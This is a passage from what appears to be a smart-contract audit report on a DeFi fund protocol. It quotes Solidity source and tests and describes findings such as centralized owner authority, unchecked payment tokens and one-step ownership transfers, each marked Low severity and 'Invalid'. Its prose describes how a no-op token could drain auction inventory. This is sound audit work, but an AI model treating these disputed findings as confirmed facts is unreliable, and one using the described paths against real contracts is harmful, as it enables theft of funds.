The canonical launch deploys each `FundController` with the creator as its owner and transfers ownership of core components, including `Mine` and `Resonance`, to that controller. A single `onlyOwner` check then authorizes ownership handoffs, creator-fee configuration, revenue-router changes, signal-manager replacement, irreversible community opening, strategy lifecycle changes, reward-token registration, and Bribe-share policy. `Mine.setRevenueRouter` accepts any nonzero address with code, so this authority can select an arbitrary deployed receiver for future mining revenue. The downstream `onlyOwner` checks in `Resonance` are not independent safeguards because the controller holds that ownership after launch. Neither the controller forwarding surface nor the launch ownership path imposes multisig approval, a timelock, quorum, or delayed execution for these high-impact changes.
## Root cause

High-impact revenue, governance, strategy, and component-ownership actions are all controlled by the single `FundController` `onlyOwner` authority without independent approval or delayed execution.
## Impact

A compromised or malicious controller owner can redirect future Mine revenue to an attacker-controlled deployed contract, alter future creator-fee and Bribe allocation, replace signal authority, permanently change signaling mode, retire strategies, or transfer component administration away. Existing positions, accrued claims, and exits are not directly bypassed by these calls, but future protocol revenue and governance-controlled allocation can be materially diverted or disrupted before ownership can be changed.

---

# Strategy admission accepts nonconforming payment tokens
**#303377**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/FundController.sol`
#### Lines 111-118 — _owner-facing addStrategy wrapper forwards paymentToken unchecked_ — _Owner-facing forwarding entry point accepts the caller-supplied payment token and configuration._

```
    /// @notice Adds a Strategy (Auction, BribeRouter, and Bribe) to Resonance with the supplied auction configuration.
    function addStrategy(IERC20 paymentToken, Auction.Config calldata config)
        external
        onlyOwner
        returns (address strategy, address bribe, address bribeRouter)
    {
        return resonance.addStrategy(paymentToken, config);
    }
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol`
#### Lines 452-480 — _addStrategy only rejects SignalCoin as paymentToken_ — _Only SignalCoin equality is rejected; the Bribe is registered, factories are called, and live mappings/counts/checkpoint are persisted._ — _Owner-only strategy creation rejects only SignalCoin and passes the arbitrary payment token to Bribe and Auction._

```
    function addStrategy(IERC20 paymentToken, Auction.Config calldata config)
        external
        nonReentrant
        onlyOwner
        returns (address strategyAddress, address bribeAddress, address bribeRouterAddress)
    {
        if (address(paymentToken) == address(signalCoin)) {
            revert ForbiddenPaymentToken(address(paymentToken));
        }

        Bribe bribe = bribeFactory.createBribe();
        bribe.addRewardToken(address(paymentToken));

        (Auction auction, BribeRouter bribeRouter) =
            auctionFactory.createAuctionAndRouter(usdg, paymentToken, fund, bribe, config);

        strategyAddress = address(auction);
        bribeAddress = address(bribe);
        bribeRouterAddress = address(bribeRouter);

        bribeFor[strategyAddress] = bribeAddress;
        isStrategyLive[strategyAddress] = true;
        ++strategyCount;
        ++liveStrategyCount;
        bribeRouterFor[strategyAddress] = bribeRouterAddress;
        strategyRevenuePerSignalPaid[strategyAddress] = revenueData.revenuePerSignalStored;

        emit StrategyAdded(strategyAddress, bribeAddress, bribeRouterAddress, address(paymentToken));
    }
```
### `Uploaded archive/packages/contracts/src/core/Bribe.sol` (2 locations)
#### Lines 238-250 — _Reward-token registration checks only code existence, uniqueness, and capacity._ — _Reward-token registration checks only nonzero address, deployed bytecode, uniqueness, and capacity._

```
    /// @notice Appends a reward token to this Bribe's permanent registry.
    /// @dev Callable only by Resonance. The token must be a unique, nonzero contract and the resulting registry length
    ///      cannot exceed `MAX_REWARD_TOKENS`. Registration does not fund or start a stream.
    /// @param rewardToken ERC-20 contract address to register.
    function addRewardToken(address rewardToken) external onlyResonance {
        if (rewardToken == address(0) || rewardToken.code.length == 0) revert ZeroAddress();
        if (isRewardToken[rewardToken]) revert RewardAlreadyAdded(rewardToken);
        if (_rewardTokens.length == MAX_REWARD_TOKENS) revert RewardTokenLimitReached(MAX_REWARD_TOKENS);

        isRewardToken[rewardToken] = true;
        _rewardTokens.push(rewardToken);

        emit RewardTokenAdded(rewardToken);
```
⋯
#### Lines 242-251 — _addRewardToken checks only nonzero/code presence_

```
    function addRewardToken(address rewardToken) external onlyResonance {
        if (rewardToken == address(0) || rewardToken.code.length == 0) revert ZeroAddress();
        if (isRewardToken[rewardToken]) revert RewardAlreadyAdded(rewardToken);
        if (_rewardTokens.length == MAX_REWARD_TOKENS) revert RewardTokenLimitReached(MAX_REWARD_TOKENS);

        isRewardToken[rewardToken] = true;
        _rewardTokens.push(rewardToken);

        emit RewardTokenAdded(rewardToken);
    }
```
### `Uploaded archive/packages/contracts/src/core/Auction.sol` (2 locations)
#### Lines 122-149 — _Auction constructor checks only dependency code presence and numeric configuration bounds._ — _Auction constructor checks dependency code presence but does not validate ERC-20 behavior._

```
    constructor(address resonance_, IERC20 usdg_, IERC20 paymentToken_, address fund_, Config memory config) {
        if (
            resonance_ == address(0) || address(usdg_) == address(0) || address(paymentToken_) == address(0)
                || fund_ == address(0) || resonance_.code.length == 0 || address(usdg_).code.length == 0
                || address(paymentToken_).code.length == 0 || fund_.code.length == 0
        ) revert ZeroAddress();
        if (config.initialPrice < config.minimumPrice || config.initialPrice > ABSOLUTE_MAXIMUM_PRICE) {
            revert InitialPriceOutOfRange(config.initialPrice);
        }
        if (config.epochDuration < MIN_EPOCH_DURATION || config.epochDuration > MAX_EPOCH_DURATION) {
            revert EpochDurationOutOfRange(config.epochDuration);
        }
        if (config.priceMultiplier < MIN_PRICE_MULTIPLIER || config.priceMultiplier > MAX_PRICE_MULTIPLIER) {
            revert PriceMultiplierOutOfRange(config.priceMultiplier);
        }
        if (config.minimumPrice < ABSOLUTE_MINIMUM_PRICE || config.minimumPrice > ABSOLUTE_MAXIMUM_PRICE) {
            revert MinimumPriceOutOfRange(config.minimumPrice);
        }
        resonance = resonance_;
        usdg = usdg_;
        paymentToken = paymentToken_;
        fund = fund_;
        epochDuration = config.epochDuration;
        priceMultiplier = config.priceMultiplier;
        minimumPrice = config.minimumPrice;
        initialPrice = config.initialPrice;
        epochStartedAt = block.timestamp;
    }
```
⋯
#### Lines 206-227 — _Operational settlement later assumes paymentToken.safeTransferFrom works for both Fund and BribeRouter._ — _Payment settlement uses nominal SafeERC20 transferFrom calls without balance-delta checks._

```
    /// @notice Pulls one payment from the buyer directly into Fund and the paired BribeRouter.
    /// @dev Rounds the Bribe share down and sends the remainder to Fund. A zero Bribe share skips BribeRouter.
    ///      Rewards stay buffered there until a separate permissionless call to `BribeRouter.route`.
    /// @param configuredResonance Resonance used to resolve this Auction's paired BribeRouter.
    /// @param buyer Account paying the auction price through its allowance to this Auction.
    /// @param paymentAmount Total raw payment-token units paid by the buyer.
    /// @param appliedBribeBps Global Bribe share snapshotted before either token can invoke a callback.
    function _settlePayment(
        IResonance configuredResonance,
        address buyer,
        uint256 paymentAmount,
        uint256 appliedBribeBps
    ) private {
        uint256 bribeAmount = Math.mulDiv(paymentAmount, appliedBribeBps, BPS);
        uint256 fundAmount = paymentAmount - bribeAmount;

        if (fundAmount != 0) paymentToken.safeTransferFrom(buyer, fund, fundAmount);
        if (bribeAmount == 0) return;

        address router = configuredResonance.bribeRouterFor(address(this));
        if (router == address(0)) revert ZeroAddress();
        paymentToken.safeTransferFrom(buyer, router, bribeAmount);
```
### `Uploaded archive/packages/contracts/src/core/BribeRouter.sol` (2 locations)
#### Lines 34-46 — _Router constructor also checks only nonzero/code-bearing dependencies and does not verify the token is registered or ERC-20-compatible._

```
    /// @notice Creates the fixed route between one payment token and its paired Bribe.
    /// @dev Requires nonzero, deployed dependencies. Does not check whether the Bribe has registered the payment token.
    /// @param bribe_ Bribe paired with the Auction and authorized to pull routed tokens.
    /// @param paymentToken_ Auction payment token held by this Router before distribution.
    constructor(IBribe bribe_, IERC20 paymentToken_) {
        if (
            address(bribe_) == address(0) || address(paymentToken_) == address(0) || address(bribe_).code.length == 0
                || address(paymentToken_).code.length == 0
        ) revert ZeroAddress();

        paymentToken = paymentToken_;
        bribe = bribe_;
    }
```
⋯
#### Lines 38-65 — _constructor and route() assume standard ERC-20 semantics_ — _Operational routing later calls paymentToken.balanceOf and Bribe.notifyReward, which pulls the assumed token._

```
    constructor(IBribe bribe_, IERC20 paymentToken_) {
        if (
            address(bribe_) == address(0) || address(paymentToken_) == address(0) || address(bribe_).code.length == 0
                || address(paymentToken_).code.length == 0
        ) revert ZeroAddress();

        paymentToken = paymentToken_;
        bribe = bribe_;
    }

    /// @notice Routes the complete payment-token balance into the paired Bribe when funding qualifies.
    /// @dev Permissionless. Returns zero without changing state when the balance is zero, below `REWARD_DURATION` raw
    ///      units, or below the Bribe's remaining scheduled reward. Otherwise, approves the exact balance for the Bribe
    ///      to pull and restart its stream. A failure preserves the buffer. The full balance must fit the Bribe's
    ///      remaining lifetime capacity; the cap never resets and exhaustion permanently prevents new funding for that
    ///      token. Routing failure does not revert previously completed Auction purchases.
    /// @return amount Raw payment-token units routed, or zero when the buffer must continue accumulating.
    function route() external returns (uint256 amount) {
        amount = paymentToken.balanceOf(address(this));
        if (amount == 0 || amount < bribe.REWARD_DURATION() || amount < bribe.remainingReward(address(paymentToken))) {
            return 0;
        }

        paymentToken.forceApprove(address(bribe), amount);
        bribe.notifyReward(address(paymentToken), amount);

        emit RewardRouted(address(bribe), address(paymentToken), amount);
    }
```
## Description

The owner-facing strategy-creation flow accepts an arbitrary `paymentToken`, rejecting only `signalCoin`, and persists the resulting Auction, Bribe, and BribeRouter as a live strategy. The downstream registration and constructor checks establish only that the address is nonzero and has bytecode; they do not establish usable ERC-20 `balanceOf`, `transferFrom`, or approval semantics. Later, settlement invokes `paymentToken.safeTransferFrom`, while routing invokes `balanceOf`, `forceApprove`, and `Bribe.notifyReward`, so a nonconforming token can cause purchases or reward routing to revert after the graph has been registered. A token that returns successful call data without moving balances can instead allow settlement to appear successful without transferring the nominal payment. Admission should restrict payment tokens to a vetted allowlist or otherwise verify the exact token behavior required by settlement and routing, including enforcing received-balance deltas where full payment is required.
## Root cause

`addStrategy` and the graph components treat a nonzero code-bearing `paymentToken` as ERC-20-compatible without validating the transfer, balance, and approval behavior later required by settlement and routing.
## Impact

A strategy configured with a reverting or incomplete token cannot reliably sell allocated USDG or route its bribe rewards, while remaining registered as live until it is removed. If the admitted token reports successful transfers without changing balances, a buyer can obtain USDG from that strategy while the Fund and/or BribeRouter receives less than the recorded payment. Exploitation of this outcome depends on the privileged strategy creator admitting such a token.

---

# Component ownership handoffs lack recipient acceptance
**#303378**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/FundController.sol` (2 locations)
#### Line 18 — _The controller itself is `Ownable2Step`, establishing the contrasting ownership model._

```
contract FundController is Ownable2Step {
```
⋯
#### Lines 58-80 — _All Coin, Mine, Resonance, and LP-token ownership forwards are immediate calls._ — _Controller owner forwards an immediate Coin.transferOwnership call._ — _FundController forwards Mine/Resonance ownership transfer immediately and irrevocably via single-step Ownable.transferOwnership._

```
    /// @notice Immediately transfers Coin ownership to a nonzero address.
    /// @dev Mint authority remains independently locked to Mine.
    function transferCoinOwnership(address newOwner) external onlyOwner {
        Coin(coin).transferOwnership(newOwner);
    }

    /// @notice Immediately transfers Mine ownership to a nonzero address.
    /// @dev This controller loses Mine administration as soon as the transfer succeeds.
    function transferMineOwnership(address newOwner) external onlyOwner {
        mine.transferOwnership(newOwner);
    }

    /// @notice Immediately transfers Resonance ownership to a nonzero address.
    /// @dev This controller loses Resonance administration as soon as the transfer succeeds.
    function transferResonanceOwnership(address newOwner) external onlyOwner {
        resonance.transferOwnership(newOwner);
    }

    /// @notice Transfers a controller-owned pool's fee-administration ownership.
    /// @dev The pool must be owned by this controller. No LP shares are moved.
    function transferLiquidityPoolOwnership(address pool, address newOwner) external onlyOwner {
        _controllerOwnedPool(pool).transferOwnership(newOwner);
    }
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol` (2 locations)
#### Line 28 — _Resonance inherits plain Ownable (not Ownable2Step), unlike FundController._

```
contract Resonance is ReentrancyGuard, Ownable, IResonance {
```
⋯
#### Lines 488-499 — _killStrategy and other critical strategy-lifecycle administration become permanently unreachable if Resonance ownership is misdirected._

```
    function killStrategy(address strategy) external nonReentrant onlyOwner {
        _updateRevenue(strategy);
        if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
        if (!isStrategyLive[strategy]) revert StrategyAlreadyDead(strategy);
        if (liveStrategyCount == 1) revert FinalLiveStrategy(strategy);

        isStrategyLive[strategy] = false;
        --liveStrategyCount;
        totalSignalWeight -= _strategySignalWeight(strategy);

        emit StrategyKilled(strategy);
    }
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol`
#### Line 25 — _Mine inherits plain Ownable (not Ownable2Step), unlike FundController._

```
contract Mine is ReentrancyGuard, Ownable, IMine {
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 407-414 — _Initial component ownership is handed to the controller, after which these forwarding functions are the administrative transfer path._ — _Launchpad also uses the immediate Coin.transferOwnership call during completion._ — _One-step transferOwnership calls permanently hand off Coin/Mine/Resonance/pool administration during atomic launch._

```
    /// @dev Disables SignalCoin setup and hands component administration to the creator-owned controller.
    function _completeOwnership(LaunchRecord memory r) private {
        SignalCoin(r.signalCoin).renounceOwnership();
        Coin(r.coin).transferOwnership(r.controller);
        Mine(r.mine).transferOwnership(r.controller);
        Resonance(r.resonance).transferOwnership(r.controller);
        FullRangeERC20(r.pool).transferOwnership(r.controller);
    }
```
### `Uploaded archive/packages/contracts/src/core/Coin.sol`
#### Line 19 — _Coin uses one-step Ownable._

```
contract Coin is ERC20, ERC20Permit, Ownable, ICoin {
```
### `Uploaded archive/packages/contracts/test/minimal/FundControllerOwnership.t.sol` (2 locations)
#### Lines 26-45 — _Tests verify immediate child ownership transfer and continued direct child ownership._

```
    function test_EachCoreTransferIsOwnerOnlyImmediateAndRejectsZero() external {
        for (uint256 i; i < 3; ++i) {
            Ownable core = _core(i);
            vm.prank(BOB);
            vm.expectRevert(abi.encodeWithSelector(Ownable.OwnableUnauthorizedAccount.selector, BOB));
            _transfer(i, ALICE);
            vm.prank(CREATOR);
            vm.expectRevert(abi.encodeWithSelector(Ownable.OwnableInvalidOwner.selector, address(0)));
            _transfer(i, address(0));
            assertEq(core.owner(), address(controller));
            vm.prank(CREATOR);
            _transfer(i, ALICE);
            assertEq(core.owner(), ALICE);
            vm.prank(CREATOR);
            vm.expectRevert(abi.encodeWithSelector(Ownable.OwnableUnauthorizedAccount.selector, address(controller)));
            _transfer(i, BOB);
            vm.prank(ALICE);
            core.transferOwnership(BOB);
            assertEq(core.owner(), BOB);
        }
```
⋯
#### Lines 126-138 — _Tests verify child contracts have no pendingOwner/acceptOwnership surface and no controller acceptance helpers._

```
    function test_NoCorePendingOrAcceptanceSurfaceRemains() external {
        for (uint256 i; i < 3; ++i) {
            (bool pending,) = address(_core(i)).staticcall(abi.encodeWithSignature("pendingOwner()"));
            (bool accepted,) = address(_core(i)).call(abi.encodeWithSignature("acceptOwnership()"));
            assertFalse(pending);
            assertFalse(accepted);
        }
        string[4] memory removed =
            ["acceptCoreOwnership()", "acceptCoinOwnership()", "acceptMineOwnership()", "acceptResonanceOwnership()"];
        for (uint256 i; i < removed.length; ++i) {
            (bool success,) = address(controller).call(abi.encodeWithSignature(removed[i]));
            assertFalse(success);
        }
```
### `Uploaded archive/packages/contracts/test/minimal/Coin.t.sol`
#### Lines 81-84 — _Test confirms transferOwnership immediately changes Coin.owner to the supplied address._

```
    function test_MetadataOwnershipTransfersImmediatelyWithoutChangingMintAuthority() external {
        coin.setMinter(address(minter));
        coin.transferOwnership(ALICE);
        assertEq(coin.owner(), ALICE);
```
## Description

The core components use immediate `Ownable.transferOwnership` semantics, while `FundController` itself uses `Ownable2Step`. Its transfer wrappers immediately assign Coin, Mine, Resonance, and pool administration to the supplied address, and the tests confirm that child ownership changes in the same transaction with no `pendingOwner` or `acceptOwnership` surface. `Launchpad._completeOwnership` likewise performs direct initial handoffs of these components to the controller, so any migration must also accommodate the launch bootstrap flow. Consequently, an operator cannot use a recipient acceptance transaction to detect a mistyped, inaccessible, or unsuitable recipient before the controller relinquishes the component's administrative role. The components and controller handoff flow should implement a consistent pending-owner/acceptance process, including an appropriate acceptance path for the controller during initialization.
## Root cause

`FundController` and `Launchpad` forward ownership through components that retain one-step `Ownable` transfers rather than a component-level pending-owner acceptance flow.
## Impact

If a controller owner transfers a component to an unintended or unusable nonzero address, its owner-only administration is immediately detached from the controller and may remain unavailable. For Mine and Resonance this can leave future fee, routing, and strategy configuration under the recipient's control or frozen; for Coin, the affected authority is metadata administration and does not alter balances or its independent minter. An attacker-controlled address selected in such a transfer receives the relevant component's administrative rights immediately.

---

# Unverified payment settlement enables free Auction fills
**#303379**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/FundController.sol`
#### Lines 111-117 — _Owner-authorized wrapper forwards the caller-selected payment token and auction configuration._

```
    /// @notice Adds a Strategy (Auction, BribeRouter, and Bribe) to Resonance with the supplied auction configuration.
    function addStrategy(IERC20 paymentToken, Auction.Config calldata config)
        external
        onlyOwner
        returns (address strategy, address bribe, address bribeRouter)
    {
        return resonance.addStrategy(paymentToken, config);
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol`
#### Lines 452-466 — _Strategy admission rejects only SignalCoin, registers the token as a reward, and creates the Auction/Router graph._

```
    function addStrategy(IERC20 paymentToken, Auction.Config calldata config)
        external
        nonReentrant
        onlyOwner
        returns (address strategyAddress, address bribeAddress, address bribeRouterAddress)
    {
        if (address(paymentToken) == address(signalCoin)) {
            revert ForbiddenPaymentToken(address(paymentToken));
        }

        Bribe bribe = bribeFactory.createBribe();
        bribe.addRewardToken(address(paymentToken));

        (Auction auction, BribeRouter bribeRouter) =
            auctionFactory.createAuctionAndRouter(usdg, paymentToken, fund, bribe, config);
```
### `Uploaded archive/packages/contracts/src/core/Bribe.sol`
#### Lines 238-250 — _The first reward-token registration requires only nonzero deployed code and uniqueness._ — _Reward-token admission accepts any nonzero code-bearing address without ERC-20 behavior validation._

```
    /// @notice Appends a reward token to this Bribe's permanent registry.
    /// @dev Callable only by Resonance. The token must be a unique, nonzero contract and the resulting registry length
    ///      cannot exceed `MAX_REWARD_TOKENS`. Registration does not fund or start a stream.
    /// @param rewardToken ERC-20 contract address to register.
    function addRewardToken(address rewardToken) external onlyResonance {
        if (rewardToken == address(0) || rewardToken.code.length == 0) revert ZeroAddress();
        if (isRewardToken[rewardToken]) revert RewardAlreadyAdded(rewardToken);
        if (_rewardTokens.length == MAX_REWARD_TOKENS) revert RewardTokenLimitReached(MAX_REWARD_TOKENS);

        isRewardToken[rewardToken] = true;
        _rewardTokens.push(rewardToken);

        emit RewardTokenAdded(rewardToken);
```
### `Uploaded archive/packages/contracts/src/core/Auction.sol` (3 locations)
#### Lines 122-149 — _Auction constructor accepts a payment token solely after nonzero/code checks and stores it immutably._ — _Auction constructor accepts any code-bearing payment-token address after configuration bounds checks._

```
    constructor(address resonance_, IERC20 usdg_, IERC20 paymentToken_, address fund_, Config memory config) {
        if (
            resonance_ == address(0) || address(usdg_) == address(0) || address(paymentToken_) == address(0)
                || fund_ == address(0) || resonance_.code.length == 0 || address(usdg_).code.length == 0
                || address(paymentToken_).code.length == 0 || fund_.code.length == 0
        ) revert ZeroAddress();
        if (config.initialPrice < config.minimumPrice || config.initialPrice > ABSOLUTE_MAXIMUM_PRICE) {
            revert InitialPriceOutOfRange(config.initialPrice);
        }
        if (config.epochDuration < MIN_EPOCH_DURATION || config.epochDuration > MAX_EPOCH_DURATION) {
            revert EpochDurationOutOfRange(config.epochDuration);
        }
        if (config.priceMultiplier < MIN_PRICE_MULTIPLIER || config.priceMultiplier > MAX_PRICE_MULTIPLIER) {
            revert PriceMultiplierOutOfRange(config.priceMultiplier);
        }
        if (config.minimumPrice < ABSOLUTE_MINIMUM_PRICE || config.minimumPrice > ABSOLUTE_MAXIMUM_PRICE) {
            revert MinimumPriceOutOfRange(config.minimumPrice);
        }
        resonance = resonance_;
        usdg = usdg_;
        paymentToken = paymentToken_;
        fund = fund_;
        epochDuration = config.epochDuration;
        priceMultiplier = config.priceMultiplier;
        minimumPrice = config.minimumPrice;
        initialPrice = config.initialPrice;
        epochStartedAt = block.timestamp;
    }
```
⋯
#### Lines 161-193 — _Buy snapshots USDG, settles payment, then transfers the USDG inventory to the receiver._

```
    function buy(address revenueReceiver, uint256 expectedEpochId, uint256 deadline, uint256 maximumPayment)
        external
        nonReentrant
        returns (uint256 paymentAmount)
    {
        if (revenueReceiver == address(0)) revert ZeroAddress();
        if (block.timestamp > deadline) revert DeadlinePassed(deadline);
        if (expectedEpochId != epochId) revert EpochIdMismatch(expectedEpochId, epochId);

        // Fix the split before token calls, including when the payment token is USDG.
        IResonance configuredResonance = IResonance(resonance);
        uint256 appliedBribeBps = configuredResonance.bribeBps();

        // Include USDG released through this timestamp, before collecting the purchase payment.
        configuredResonance.distributeRevenue(address(this));
        uint256 revenueAmount = usdg.balanceOf(address(this));
        if (revenueAmount == 0) revert EmptyRevenue();

        paymentAmount = currentPrice();
        if (paymentAmount > maximumPayment) revert MaximumPaymentExceeded(paymentAmount, maximumPayment);

        if (paymentAmount != 0) {
            _settlePayment(configuredResonance, msg.sender, paymentAmount, appliedBribeBps);
        }

        usdg.safeTransfer(revenueReceiver, revenueAmount);

        uint256 completedEpoch = epochId;
        initialPrice = _nextInitialPrice(paymentAmount);
        epochStartedAt = block.timestamp;
        epochId = completedEpoch + 1;

        emit Purchased(msg.sender, revenueReceiver, completedEpoch, revenueAmount, paymentAmount);
```
⋯
#### Lines 206-227 — _Payment settlement performs nominal SafeERC20 transfers to Fund and BribeRouter without balance-delta checks._ — _Payment settlement uses safeTransferFrom for the buyer payment and does not verify a balance delta._

```
    /// @notice Pulls one payment from the buyer directly into Fund and the paired BribeRouter.
    /// @dev Rounds the Bribe share down and sends the remainder to Fund. A zero Bribe share skips BribeRouter.
    ///      Rewards stay buffered there until a separate permissionless call to `BribeRouter.route`.
    /// @param configuredResonance Resonance used to resolve this Auction's paired BribeRouter.
    /// @param buyer Account paying the auction price through its allowance to this Auction.
    /// @param paymentAmount Total raw payment-token units paid by the buyer.
    /// @param appliedBribeBps Global Bribe share snapshotted before either token can invoke a callback.
    function _settlePayment(
        IResonance configuredResonance,
        address buyer,
        uint256 paymentAmount,
        uint256 appliedBribeBps
    ) private {
        uint256 bribeAmount = Math.mulDiv(paymentAmount, appliedBribeBps, BPS);
        uint256 fundAmount = paymentAmount - bribeAmount;

        if (fundAmount != 0) paymentToken.safeTransferFrom(buyer, fund, fundAmount);
        if (bribeAmount == 0) return;

        address router = configuredResonance.bribeRouterFor(address(this));
        if (router == address(0)) revert ZeroAddress();
        paymentToken.safeTransferFrom(buyer, router, bribeAmount);
```
### `Uploaded archive/packages/contracts/src/core/BribeRouter.sol`
#### Lines 34-45 — _Router constructor also accepts a payment-token address based only on deployed bytecode._

```
    /// @notice Creates the fixed route between one payment token and its paired Bribe.
    /// @dev Requires nonzero, deployed dependencies. Does not check whether the Bribe has registered the payment token.
    /// @param bribe_ Bribe paired with the Auction and authorized to pull routed tokens.
    /// @param paymentToken_ Auction payment token held by this Router before distribution.
    constructor(IBribe bribe_, IERC20 paymentToken_) {
        if (
            address(bribe_) == address(0) || address(paymentToken_) == address(0) || address(bribe_).code.length == 0
                || address(paymentToken_).code.length == 0
        ) revert ZeroAddress();

        paymentToken = paymentToken_;
        bribe = bribe_;
```
### `Uploaded archive/packages/contracts/test/minimal/utils/Tokens.sol`
#### Lines 130-181 — _Test token has no boolean return from transfer functions but does update balances, showing why empty-return compatibility alone is not a settlement guarantee._

```
/// @title MissingReturnToken
/// @notice USDT-style token whose transfer functions return no data at all.
/// @dev Written without OpenZeppelin so the ABI genuinely omits the boolean return value.
contract MissingReturnToken {
    string public constant name = "Missing Return";
    string public constant symbol = "MRT";

    uint8 public immutable decimals;

    uint256 public totalSupply;
    mapping(address account => uint256 balance) public balanceOf;
    mapping(address owner => mapping(address spender => uint256 amount)) public allowance;

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor(uint8 decimals_) {
        decimals = decimals_;
    }

    function mint(address receiver, uint256 amount) external {
        totalSupply += amount;
        balanceOf[receiver] += amount;
        emit Transfer(address(0), receiver, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external {
        _transfer(msg.sender, to, amount);
    }

    function transferFrom(address from, address to, uint256 amount) external {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) {
            require(allowed >= amount, "ALLOWANCE");
            allowance[from][msg.sender] = allowed - amount;
        }
        _transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(balanceOf[from] >= amount, "BALANCE");
        unchecked {
            balanceOf[from] -= amount;
            balanceOf[to] += amount;
        }
        emit Transfer(from, to, amount);
```
### `Uploaded archive/packages/contracts/test/minimal/BribeFlow.t.sol`
#### Lines 128-141 — _Existing test confirms a genuine no-return token can pass Bribe ingress and payout; it does not check transfer authenticity._

```
    function test_MissingReturnRewardTokenCompletesIngressAndPayout() external {
        MissingReturnToken noReturn = new MissingReturnToken(6);
        bribe.addRewardToken(address(noReturn));
        bribe.addSignalWeight(ALICE, 1);

        uint256 amount = 10 * WEEK;
        noReturn.mint(address(this), amount);
        noReturn.approve(address(bribe), amount);
        bribe.notifyReward(address(noReturn), amount);
        vm.warp(block.timestamp + WEEK);

        assertEq(bribe.claimReward(ALICE, address(noReturn)), amount);
        assertEq(noReturn.balanceOf(ALICE), amount);
        assertEq(noReturn.balanceOf(address(bribe)), 0);
```
## Description

The strategy-creation path accepts a caller-selected, code-bearing `paymentToken`, rejecting only `SignalCoin`, and propagates it into the Auction payment flow. The Auction constructor likewise only verifies that the configured token address has code. When a buyer fills an Auction, `_settlePayment` relies on `paymentToken.safeTransferFrom` for the Fund and BribeRouter portions but does not verify that either recipient's balance increased by the required amount. A non-conforming token can therefore return successfully without transferring value, including through an empty-return path accepted by `SafeERC20`. `buy` then transfers the Auction's USDG balance to `revenueReceiver` after this nominal settlement, allowing the inventory to be released without actual payment.
## Root cause

`addStrategy` and its constructed components accept payment tokens based on code presence, while `_settlePayment` treats `safeTransferFrom` call success as settlement without verifying recipient balance deltas.
## Impact

If an owner-authorized strategy is configured with a no-op or otherwise non-conforming payment token, a buyer can fill funded Auction epochs while transferring no payment-token value. The buyer receives the Auction's USDG inventory, while the Fund and BribeRouter receive nothing; additional funded epochs of that strategy can likewise be drained.

---

# Unsupported token behavior breaks settlement and reward accounting
**#303380**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/FundController.sol`
#### Lines 125-127 — _Owner-only wrapper exposes arbitrary reward-token registration._

```
    /// @notice Adds a reward token to a registered Strategy's Bribe.
    function addBribeRewardToken(address strategy, address rewardToken) external onlyOwner {
        resonance.addBribeRewardToken(strategy, rewardToken);
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol` (2 locations)
#### Lines 452-466 — _addStrategy forwards the caller-selected payment token into reward registration and Auction creation._

```
    function addStrategy(IERC20 paymentToken, Auction.Config calldata config)
        external
        nonReentrant
        onlyOwner
        returns (address strategyAddress, address bribeAddress, address bribeRouterAddress)
    {
        if (address(paymentToken) == address(signalCoin)) {
            revert ForbiddenPaymentToken(address(paymentToken));
        }

        Bribe bribe = bribeFactory.createBribe();
        bribe.addRewardToken(address(paymentToken));

        (Auction auction, BribeRouter bribeRouter) =
            auctionFactory.createAuctionAndRouter(usdg, paymentToken, fund, bribe, config);
```
⋯
#### Lines 501-514 — _Registered-strategy and SignalCoin checks precede delegation to the canonical Bribe._ — _Owner-controlled reward-token append path checks strategy membership and SignalCoin exclusion, then delegates to Bribe._

```
    /// @notice Registers an additional independently funded reward token on a registered Strategy's Bribe.
    /// @dev Callable only by the current owner. The Strategy may be live or killed. The reward token must be a deployed
    ///      contract and cannot be SignalCoin. The paired Bribe enforces its append-only sixteen-token registry,
    ///      duplicate rejection, and later notification rules.
    /// @param strategy Registered Strategy whose paired Bribe receives the token.
    /// @param rewardToken ERC-20 token to add to the paired Bribe's reward registry.
    function addBribeRewardToken(address strategy, address rewardToken) external onlyOwner {
        if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
        if (rewardToken == address(signalCoin)) revert ForbiddenRewardToken(rewardToken);

        address bribe = bribeFor[strategy];
        Bribe(bribe).addRewardToken(rewardToken);

        emit BribeRewardTokenAdded(strategy, bribe, rewardToken);
```
### `Uploaded archive/packages/contracts/src/core/Bribe.sol` (3 locations)
#### Lines 181-205 — _Nominal notification amount is used for transfer accounting and stream state._ — _Bribe schedules the nominal notification amount after transfer without balance-delta validation._

```
    function notifyReward(address rewardToken, uint256 amount) external override nonReentrant {
        _requireRewardToken(rewardToken);
        if (amount < REWARD_DURATION) revert RewardBelowDuration(amount);

        uint256 notified = lifetimeRewardNotified[rewardToken];
        uint256 maximum = MAX_LIFETIME_REWARD_AMOUNT;
        if (amount > maximum - notified) {
            revert RewardLifetimeCapExceeded(rewardToken, notified, amount, maximum);
        }

        uint256 remaining = remainingReward(rewardToken);
        if (amount < remaining) revert RewardBelowRemaining(amount, remaining);

        _updateReward(address(0), rewardToken);
        IERC20(rewardToken).safeTransferFrom(msg.sender, address(this), amount);

        RewardData storage data = rewardData[rewardToken];
        uint256 budget = amount + remaining + _rewardRemainder[rewardToken];
        data.rewardRate = budget / REWARD_DURATION;
        _rewardRemainder[rewardToken] = budget % REWARD_DURATION;
        data.lastUpdateTime = block.timestamp;
        data.periodFinish = block.timestamp + REWARD_DURATION;
        lifetimeRewardNotified[rewardToken] = notified + amount;

        emit RewardNotified(rewardToken, amount);
```
⋯
